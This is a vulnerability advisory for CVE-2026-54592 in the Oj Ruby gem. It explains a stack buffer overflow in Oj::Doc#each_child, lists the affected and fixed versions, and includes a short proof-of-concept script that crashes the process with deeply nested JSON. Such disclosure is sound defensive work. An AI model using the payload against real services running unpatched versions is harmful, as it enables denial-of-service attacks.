CVE-2026-54592: Oj: Stack Buffer Overflow in Oj::Doc#each_child via Deeply Nested Input
Summary Oj::Doc#eachchild, when invoked recursively over a deeply nested JSON document, overflows a fixed-size stack buffer and aborts the process. This is a denial of service reachable from untrusted JSON. Details Two-step chain in ext/oj/fast.c: 1. doceachchild (~line 1501) increments doc-where past the wherepath[MAXSTACK = 100] array with no bounds check, and never restores it (doc-where-- is missing).
Published Jun 19, 2026
Affected packages
oj
- Ecosystem
- RubyGems
- Affected
- < 3.17.3
- Fixed in
- 3.17.3
- Check
bundle info oj
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Oj::Doc#each_child, when invoked recursively over a deeply nested JSON document, overflows a fixed-size stack buffer and aborts the process. This is a denial of service reachable from untrusted JSON.
Details
Two-step chain in ext/oj/fast.c:
- `doc_each_child` (~line 1501) increments
doc->wherepast thewhere_path[MAX_STACK = 100]array with no bounds check, and never restores it (doc->where--is missing). Callingeach_childrecursively from inside the yield block therefore drivesdoc->wherebeyond the array.
- On the next entry (~line 1478) the function copies the path into a stack-local buffer:
Leaf save_path[MAX_STACK]; // 800-byte stack buffer
size_t wlen = doc->where - doc->where_path;
if (0 < wlen) {
memcpy(save_path, doc->where_path, sizeof(Leaf) * (wlen + 1));
}When the previous recursive call left doc->where past where_path[100], wlen exceeds MAX_STACK and the memcpy overflows save_path on the C stack.
The Oj::Doc parser imposes no JSON nesting-depth limit (it relies on a C-stack pressure check), so deeply nested attacker input reaches this path.
Proof of Concept
require 'oj'
depth = 200
payload = '[' * depth + '1' + ']' * depth
Oj::Doc.open(payload) do |doc|
r = lambda { doc.each_child { |_| r.call } }
r.call
endRecursion depth <= 99 iterates normally; depth >= 101 aborts. lldb backtrace on the affected build (ruby 3.3.8 / arm64-darwin24):
SIGABRT
#2 __abort
#3 __stack_chk_fail
#4 doc_each_child (oj.bundle, fast.c)Impact
Reliable denial of service: any endpoint that calls Oj::Doc.open(untrusted) { |d| d.each_child ... } recursively can be crashed with a small deeply-nested payload. On builds with a stack protector (the default, -fstack-protector-strong) the canary aborts the process before the saved return address is used. The Step-1 heap OOB writes into struct _doc fields do occur, but are masked in practice because the Step-2 stack overflow crashes first; turning them into anything beyond a crash has not been demonstrated.
Patches
Fixed in 3.17.3: doc_each_child now bounds-checks before incrementing doc->where (raising Oj::DepthError) and restores doc->where after the loop, matching the existing each_leaf pattern. Verified on the fixed build: depth >= 101 raises a clean Oj::DepthError instead of aborting.
Credit
Reported by Zac Wang (@7a6163).
Credited to 7a6163.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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